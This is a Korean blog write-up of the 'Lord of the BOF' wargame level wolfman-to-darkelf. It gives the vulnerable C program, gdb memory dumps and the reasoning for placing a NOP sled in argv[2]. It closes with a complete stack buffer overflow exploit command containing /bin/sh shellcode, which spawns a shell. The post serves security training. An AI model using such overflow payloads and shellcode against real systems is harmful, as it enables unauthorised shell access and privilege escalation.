728x90
wolfman / love eyuna
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
wolfman 문제 조건에서 argv[1]의 길이가 48 이하인 조건이 추가되었다.
그래서 argv[2]를 사용한다.
darkelf 실행파일을 복사해서 gdb 돌린다.
0x80485e8 <main+232>: push %edx
0x80485e9 <main+233>: lea %eax,[%ebp-40] //buffer의 주소 ebp-40
0x80485ec <main+236>: push %eax
0x80485ed <main+237>: call 0x8048440 <strcpy>
0x80485f2 <main+242>: add %esp,8
ebp-40에 buffer가 있다. 늘 해왔던 대로 argv[1]을 이용해서 40 bytes(buffer)+4 bytes(sfp)를 "A"로 덮어쓰고 4 bytes(retn 주소)를 argv[2]에 전달하는 \x90들 중 하나의 주소로 설정한다. 그럼 총 48 bytes가 되어 조건을 만족한다.
이어서 argv[2]를 이용해 여러개의 \x90+쉘 코드를 입력하면 문제가 풀릴 것이다. retn 주소를 설정하기 위해 gdb를 실행해서 실제로 전달한 인자와 같은 길이의 인자를 전달하여 주소를 파악한다.
(gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*200+"B"*25'`
Starting program: /home/wolfman/darkelf2 `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*200+"B"*25'`
Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x80485ed in main ()
(gdb) ni
(gdb) x/150x $ebp
0xbffff9e8: 0x41414141 0xbf414141 0x00000000 0xbffffa34
0xbffff9f8: 0xbffffa44 0x40013868 0x00000003 0x08048450
0xbffffa08: 0x00000000 0x08048471 0x08048500 0x00000003
0xbffffa18: 0xbffffa34 0x08048390 0x0804864c 0x4000ae60
0xbffffa28: 0xbffffa2c 0x40013e90 0x00000003 0xbffffb2b
0xbffffa38: 0xbffffb42 0xbffffb73 0x00000000 0xbffffc55
0xbffffa48: 0xbffffc67 0xbffffc7f 0xbffffc9e 0xbffffcc0
0xbffffa58: 0xbffffccd 0xbffffe90 0xbffffeaf 0xbffffecc
0xbffffa68: 0xbffffee1 0xbfffff00 0xbfffff0b 0xbfffff24
0xbffffa78: 0xbfffff34 0xbfffff3c 0xbfffff4d 0xbfffff57
0xbffffa88: 0xbfffff65 0xbfffff76 0xbfffff84 0xbfffff8f
0xbffffa98: 0xbfffffa2 0x00000000 0x00000003 0x08048034
0xbffffaa8: 0x00000004 0x00000020 0x00000005 0x00000006
0xbffffab8: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffac8: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffad8: 0x0000000b 0x000001f9 0x0000000c 0x000001f9
0xbffffae8: 0x0000000d 0x000001f9 0x0000000e 0x000001f9
0xbffffaf8: 0x00000010 0x0f8bfbff 0x0000000f 0xbffffb26
0xbffffb08: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb18: 0x00000000 0x00000000 0x00000000 0x36690000
0xbffffb28: 0x2f003638 0x656d6f68 0x6c6f772f 0x6e616d66
0xbffffb38: 0x7261642f 0x666c656b 0x41410032 0x41414141
0xbffffb48: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb58: 0x41414141 0x41414141 0x41414141 0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffb68: 0x41414141 0x41414141 0x9000bf41 0x90909090
0xbffffb78: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb88: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb98: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbc8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbd8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbe8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc08: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc18: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc28: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc38: 0x42909090 0x42424242
실제 쉘 코드가 위치해야할 주소에 "B"를 대입했다. 0xbffffc3b부터 등장하는 것을 볼 수 있다.
retn 주소 \x90들 주소 중 하나인 0xbffffbc8로 설정한다.
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "A"*44+"\xc8\xfb\xff\xbf"'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɻÿ¿
bash$ my-pass
euid = 506
kernel crashed
728x90
'Lord of Buffer Overflow' 카테고리의 다른 글
orge -> troll (0) | 2023.01.23 |
---|---|
darkelf -> orge (0) | 2023.01.21 |
orc -> wolfman (2) | 2023.01.21 |
goblin -> orc (0) | 2023.01.21 |
cobolt -> goblin (2) | 2023.01.21 |